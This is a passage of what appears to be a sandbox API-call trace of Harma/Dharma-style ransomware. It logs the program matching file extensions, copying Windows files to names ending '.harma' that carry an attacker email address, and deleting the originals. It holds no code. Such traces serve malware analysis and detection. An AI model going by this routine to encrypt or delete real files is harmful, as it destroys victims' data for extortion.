(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0062.674] lstrlenW (lpString=".dbf") returned 4 [0062.674] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0062.675] lstrlenW (lpString=".1cd") returned 4 [0062.675] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0062.675] lstrlenW (lpString=".jpg") returned 4 [0062.675] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.675] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0062.675] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0062.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0064.283] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=30170) returned 1 [0064.283] CloseHandle (hObject=0x1a0) returned 1 [0064.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0064.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0064.283] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.283] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0064.284] GetLastError () returned 0x0 [0064.284] ReadFile (in: hFile=0x1a0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x75da, lpOverlapped=0x0) returned 1 [0064.286] WriteFile (in: hFile=0x200, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x75e0, lpOverlapped=0x0) returned 1 [0064.290] ReadFile (in: hFile=0x1a0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.290] WriteFile (in: hFile=0x200, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.290] SetEndOfFile (hFile=0x200) returned 1 [0064.290] CloseHandle (hObject=0x200) returned 1 [0064.290] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.290] SetEndOfFile (hFile=0x1a0) returned 1 [0064.291] CloseHandle (hObject=0x1a0) returned 1 [0064.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0064.291] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1 [0064.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0064.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0064.292] lstrlenW (lpString=".doc") returned 4 [0064.292] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0064.292] lstrlenW (lpString=".docx") returned 5 [0064.292] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0064.292] lstrlenW (lpString=".pdf") returned 4 [0064.292] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0064.292] lstrlenW (lpString=".xls") returned 4 [0064.292] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0064.292] lstrlenW (lpString=".xlsx") returned 5 [0064.292] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0064.292] lstrlenW (lpString=".ppt") returned 4 [0064.292] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0064.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0064.292] lstrlenW (lpString=".zip") returned 4 [0064.292] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0064.292] lstrlenW (lpString=".rar") returned 4 [0064.292] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0064.292] lstrlenW (lpString=".bz2") returned 4 [0064.292] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0064.292] lstrlenW (lpString=".7z") returned 3 [0064.292] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0064.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0064.292] lstrlenW (lpString=".dbf") returned 4 [0064.292] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0064.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0064.292] lstrlenW (lpString=".1cd") returned 4 [0064.292] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0064.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0064.293] lstrlenW (lpString=".jpg") returned 4 [0064.293] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0064.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0064.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0064.293] lstrlenW (lpString=".doc") returned 4 [0064.293] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0064.293] lstrlenW (lpString=".docx") returned 5 [0064.293] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0064.293] lstrlenW (lpString=".pdf") returned 4 [0064.293] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0064.293] lstrlenW (lpString=".xls") returned 4 [0064.293] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0064.293] lstrlenW (lpString=".xlsx") returned 5 [0064.293] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0064.293] lstrlenW (lpString=".ppt") returned 4 [0064.293] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0064.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0064.293] lstrlenW (lpString=".zip") returned 4 [0064.293] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0064.293] lstrlenW (lpString=".rar") returned 4 [0064.293] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0064.293] lstrlenW (lpString=".bz2") returned 4 [0064.293] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0064.293] lstrlenW (lpString=".7z") returned 3 [0064.293] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0064.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0064.293] lstrlenW (lpString=".dbf") returned 4 [0064.293] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0064.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0064.293] lstrlenW (lpString=".1cd") returned 4 [0064.293] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0064.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0064.294] lstrlenW (lpString=".jpg") returned 4 [0064.294] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0064.294] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0064.294] lstrlenW (lpString="4to3Squareframe_VideoInset.png") returned 30 [0064.294] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0064.684] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=3467) returned 1 [0064.684] CloseHandle (hObject=0x21c) returned 1 [0064.684] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png")) returned 0x20 [0064.684] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.684] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.684] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0064.684] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0064.684] lstrlenW (lpString=".doc") returned 4 [0064.685] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.685] lstrlenW (lpString=".docx") returned 5 [0064.685] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0064.685] lstrlenW (lpString=".pdf") returned 4 [0064.685] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.685] lstrlenW (lpString=".xls") returned 4 [0064.685] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.685] lstrlenW (lpString=".xlsx") returned 5 [0064.685] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0064.685] lstrlenW (lpString=".ppt") returned 4 [0064.685] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.685] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0064.685] lstrlenW (lpString=".zip") returned 4 [0064.685] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.685] lstrlenW (lpString=".rar") returned 4 [0064.685] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.685] lstrlenW (lpString=".bz2") returned 4 [0064.685] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.685] lstrlenW (lpString=".7z") returned 3 [0064.685] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.685] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0064.685] lstrlenW (lpString=".dbf") returned 4 [0064.685] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.685] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0064.685] lstrlenW (lpString=".1cd") returned 4 [0064.685] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.685] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0064.685] lstrlenW (lpString=".jpg") returned 4 [0064.685] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.685] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0064.685] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0064.685] lstrlenW (lpString=".doc") returned 4 [0064.686] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.686] lstrlenW (lpString=".docx") returned 5 [0064.686] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0064.686] lstrlenW (lpString=".pdf") returned 4 [0064.686] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.686] lstrlenW (lpString=".xls") returned 4 [0064.686] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.686] lstrlenW (lpString=".xlsx") returned 5 [0064.686] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0064.686] lstrlenW (lpString=".ppt") returned 4 [0064.686] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.686] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0064.686] lstrlenW (lpString=".zip") returned 4 [0064.686] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.686] lstrlenW (lpString=".rar") returned 4 [0064.686] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.686] lstrlenW (lpString=".bz2") returned 4 [0064.686] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.686] lstrlenW (lpString=".7z") returned 3 [0064.686] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.686] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0064.686] lstrlenW (lpString=".dbf") returned 4 [0064.686] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.686] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0064.686] lstrlenW (lpString=".1cd") returned 4 [0064.686] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.686] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0064.686] lstrlenW (lpString=".jpg") returned 4 [0064.686] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.687] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0064.687] lstrlenW (lpString="content-background.png") returned 22 [0064.687] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0065.355] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=581394) returned 1 [0065.355] CloseHandle (hObject=0x15c) returned 1 [0065.355] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png")) returned 0x20 [0065.355] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.355] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.355] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0065.355] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0065.355] lstrlenW (lpString=".doc") returned 4 [0065.355] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.355] lstrlenW (lpString=".docx") returned 5 [0065.356] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0065.356] lstrlenW (lpString=".pdf") returned 4 [0065.356] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.356] lstrlenW (lpString=".xls") returned 4 [0065.356] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.356] lstrlenW (lpString=".xlsx") returned 5 [0065.356] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0065.356] lstrlenW (lpString=".ppt") returned 4 [0065.356] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.356] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0065.356] lstrlenW (lpString=".zip") returned 4 [0065.356] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.356] lstrlenW (lpString=".rar") returned 4 [0065.356] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.356] lstrlenW (lpString=".bz2") returned 4 [0065.356] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.356] lstrlenW (lpString=".7z") returned 3 [0065.356] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.356] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0065.356] lstrlenW (lpString=".dbf") returned 4 [0065.356] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.356] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0065.356] lstrlenW (lpString=".1cd") returned 4 [0065.356] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.356] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0065.356] lstrlenW (lpString=".jpg") returned 4 [0065.356] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.356] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0065.356] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0065.356] lstrlenW (lpString=".doc") returned 4 [0065.356] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.357] lstrlenW (lpString=".docx") returned 5 [0065.357] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0065.357] lstrlenW (lpString=".pdf") returned 4 [0065.357] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.357] lstrlenW (lpString=".xls") returned 4 [0065.357] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.357] lstrlenW (lpString=".xlsx") returned 5 [0065.357] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0065.357] lstrlenW (lpString=".ppt") returned 4 [0065.357] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.357] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0065.357] lstrlenW (lpString=".zip") returned 4 [0065.357] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.357] lstrlenW (lpString=".rar") returned 4 [0065.357] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.357] lstrlenW (lpString=".bz2") returned 4 [0065.357] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.357] lstrlenW (lpString=".7z") returned 3 [0065.357] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.357] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0065.357] lstrlenW (lpString=".dbf") returned 4 [0065.357] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.357] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0065.357] lstrlenW (lpString=".1cd") returned 4 [0065.357] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.357] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0065.357] lstrlenW (lpString=".jpg") returned 4 [0065.357] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.357] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0065.358] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0065.358] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.471] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=3130) returned 1 [0065.471] CloseHandle (hObject=0x208) returned 1 [0065.471] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0065.471] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.471] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.471] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0065.471] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0065.471] lstrlenW (lpString=".doc") returned 4 [0065.471] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.471] lstrlenW (lpString=".docx") returned 5 [0065.472] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0065.472] lstrlenW (lpString=".pdf") returned 4 [0065.472] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.472] lstrlenW (lpString=".xls") returned 4 [0065.472] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.472] lstrlenW (lpString=".xlsx") returned 5 [0065.472] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0065.472] lstrlenW (lpString=".ppt") returned 4 [0065.472] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.472] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0065.472] lstrlenW (lpString=".zip") returned 4 [0065.472] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.472] lstrlenW (lpString=".rar") returned 4 [0065.472] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.472] lstrlenW (lpString=".bz2") returned 4 [0065.472] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.472] lstrlenW (lpString=".7z") returned 3 [0065.472] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.472] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0065.472] lstrlenW (lpString=".dbf") returned 4 [0065.472] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.472] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0065.472] lstrlenW (lpString=".1cd") returned 4 [0065.472] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.472] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0065.472] lstrlenW (lpString=".jpg") returned 4 [0065.472] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.472] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0065.472] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0065.472] lstrlenW (lpString=".doc") returned 4 [0065.472] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.473] lstrlenW (lpString=".docx") returned 5 [0065.473] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0065.473] lstrlenW (lpString=".pdf") returned 4 [0065.473] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.473] lstrlenW (lpString=".xls") returned 4 [0065.473] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.473] lstrlenW (lpString=".xlsx") returned 5 [0065.473] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0065.473] lstrlenW (lpString=".ppt") returned 4 [0065.473] 